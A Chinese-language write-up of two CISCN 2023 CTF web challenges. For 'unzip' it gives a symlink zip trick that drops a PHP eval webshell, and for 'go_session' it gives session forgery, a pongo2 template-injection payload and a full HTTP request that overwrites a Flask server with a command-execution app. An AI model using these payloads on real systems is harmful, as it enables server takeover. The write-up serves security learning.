ciscn2023 web部分
学习下ciscn2023 web部分
# unzip
复现地址ctfshow ciscn2023 unzip (opens new window)
尝试上传一个图片,上传接口返回处理的源码
<?php
# 获取文件MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
# 验证MEME类型,判断文件类型是否为zip
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
# 移动到tmp目录,解压在临时目录里上传的zip文件
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
2
3
4
5
6
7
8
分析一下:
- 上传zip文件,解压到
/tmp
目录 unzip -o
参数,如果zip文件中存在同名文件,则覆盖
通过上面两步操作,可以和linux软链接
结合起来实现以下功能:
- 创建一个软链接文件
link
,指向网站根目录/var/www/html
,压缩上传 - 创建同名文件夹
link
,在文件夹里创建木马文件,在使在解压后能够覆盖link
文件即/var/www/html
目录,可以实现把木马解压到/var/www/html
目录getshell
在第一步创建link
软连接文件压缩后,记得删除,否则无法创建同名文件夹link
,是否一定要同名文件夹?是,否则前面创建的软连接没有意义
演示:
在本地创建link
软连接文件,指向/var/www/html
目录
# 创建软连接
ln -s /var/www/html link
# 压缩
zip --symlinks link.zip link
2
3
4
删除link
软连接文件,创建同名文件夹link
,在文件夹里创建shell.php
文件
# 删除软连接
rm link
# 创建文件夹,进入
mkdir link
cd link
# 写个🐎子
echo '<?php highlight_file(__FILE__);eval($_GET[1]);phpinfo();?>' > shell.php
# 移动到上一级,压缩
zip -r link1.zip ./link/*
2
3
4
5
6
7
8
9
现在,可以先上传link.zip
文件,实现解压后的link
链接到/var/www/html
目录,再上传link1.zip
文件,把写好的木马直接解压到/var/www/html
目录getshell,如果木马文件名为upload.php
,index.php
应该还可以覆盖原文件
访问木马路径
# go_session
考点:
session伪造,pongo2模板注入,debug模式覆盖源文件,通过go的模板渲染修改debug模式下的flask,打一个ssrf
这道题是go,python的模板渲染引擎联动,有go web服务和python web服务
main.go使用go搭建的web服务,定义了三个路由,/
、/admin
、/flask
,可以猜测/flask
路由下是python web服务
github.com/gin-gonic/gin
:导入 Gin 框架包,提供了 web 路由和 HTTP 请求处理功能main/route
:导入项目中的route
包,这个包应该包含了与路由相关的处理函数
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
2
3
4
5
6
7
8
9
10
11
12
13
14
route/route.go
源码
这是一个路由文件,使用了Gin框架和pongo2的模板引擎,定义了三个路由处理函数:Index
、Admin
和Flask
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
简单分析:
- Index:获取session,如果session中name为空,则设置name为guest,返回字符串"Hello, guest"
- Admin:获取session,如果session中name不为admin,则返回"NO",否则获取name参数,经过html转义后,使用pongo2模板引擎渲染字符串"Hello " + xssWaf + "!",返回渲染后的字符串
- Flask:获取session,如果session中name为空,则返回"NO",否则向http://127.0.0.1:5000/发送GET请求,获取响应体,返回响应体
其中在Index
函数参数传的是gin.Context
,类似flask的flask.Request
或 flask.g
,包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
在Admin函数里,获取session中name的值是否为admin
,如果不是,程序停止。如果name
的值是admin
,使用name := c.DefaultQuery("name", "ssti")
获取查询参数name
的值,如果name
不存在,则默认为ssti
。然后使用html.EscapeString(name)
对name
进行html转义,防止xss攻击。接着使用pongo2
模板引擎渲染字符串Hello " + xssWaf + "!"
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
在Flask
函数里,关键在接收一个name参数,发给本地的5000端口处理,返回结果。需要这样传参url?name=?name=123
,键名?name=
直接传给go web,键值?name=123
传给flask
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
先尝试伪造session,session的密钥在route/route.go
源码里提到了session_key
的获取方式,从系统变量里获取,没办法获取,大胆猜测环境变量session_key
为空,本地搭一个环境看看admin
的session值
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
本地修改route/route.go
的route函数源码,把给所有用户设为admin
的session,方便拿到
使用go官方的代理,加速依赖下载及github相关依赖的访问,运行main.go
sudo go env -w GOPROXY=https://goproxy.io,direct
sudo go run main.go
2
访问80端口拿到admin
的session,把伪造的session替换到题目里,到admin路由,发现渲染了hello ssti
,说明伪造成功了
访问flask
路由传入name参数,返回了flask的debug的文本信息,太丑了,可以找到flask应用的路径/app/server.py
flask是开启debug模式的,server.py
源码修改时会自动重启
在go的gin
模板引擎里,SaveUploadedFile()
函数接口可以实现文件上传
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
第一个参数获取表单上传的文件,第二个参数是保存的路径
构造payload:
{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
在Index函数里,使用了html.EscapeString()
函数对name
进行html转义,会影响这个payload里的引号
想办法用其他方法替换
- 第一个参数:
c.FormFile("file")
就是前端写的上传的name的值,在这里就是file,只要能用gin
模板引擎获取一个字符串放在这里占位与后面文件上传时的name保持一致即可 - 第二个参数:
/app/server.py
,师傅们使用的是c.Request.Referer()
从http头里获取的referer。我在想为什么第一个参数不这么做呢?
第一个参数的解决办法:
Context.HandlerName()
:
HandlerName
返回主处理程序的处理器函数名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”
2
在main.go
里,所以如果是在Admin()函数里调用,返回的就是main/route.Admin,在Index()里,返回的就是main/route.Index
这里执行go ssti模块在main.go的Admin里,Context.HandlerName()
可以获取到main/route.Admin
,配合last
过滤器获取最后一个字符串n
作为文件名
第二个参数:
直接拿Context
的http请求头里的内容,c.Request.Referer()
,获取referer/app/server.py
payload:
{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}}
有了payload,用bp上传一个server.py文件,覆盖原有的server.py文件,执行命令
拿一个师傅的poc,复制到bp的Repeate
模块把host,session替换掉,server.py
可以自己修改
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: 35e1a5bc-b6c3-4cbb-a4cd-10a1442dd09d.challenge.ctf.show
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:session-name=MTczMjYxNzExMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzHBTGHoCnNu3cFSjoBf3yDewNXiCPuYMFdWsXNLwgXAA==
Upgrade-Insecure-Requests: 1
Content-Length: 425
------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain
from flask import *
import os
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
上传成功
访问flask路由执行命令
其他尝试:在payload{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}}
里,第一个参数不理解为什么这样拿一个字符串,不是直接在http参数了拿
好吧,拷打了一下gpt,好像吗真的有限?看起来只有c.ClientIP(),c.Request.Host,c.Request.Referer(),c.Request.RemoteAddr
这几个有利用的可能。查阅一下,c.Request.RemoteAddr
获取的是tcp协议的网络底层ip,貌似控制不了,c.ClientIP()
获取的X-Forwarded-For头,可以尝试伪造一下,c.Request.Host
获取的是http头里的host,bp伪造了好像就不能发包了,c.Request.Referer()
获取的是http头里的referer,可以伪造
c.GetHeader("User-Agent")
c.GetHeader("Content-Type")
c.FullPath()
c.DefaultQuery("name", "guest")
c.Param("userID")
c.Request.Method
c.Cookie("session_id")
c.ClientIP()
c.Request.Proto
c.GetHeader("User-Agent")
c.Request.Referer()
c.Request.Host
c.Request.RemoteAddr
2
3
4
5
6
7
8
9
10
11
12
13
陌生,看不懂。熟悉,失败了
[Error (where: execution) in <string> | Line 1 Col 9 near 'c'] [Error (where: execution) in <string> | Line 1 Col 28 near 'c'] http: no such file
参考、致谢: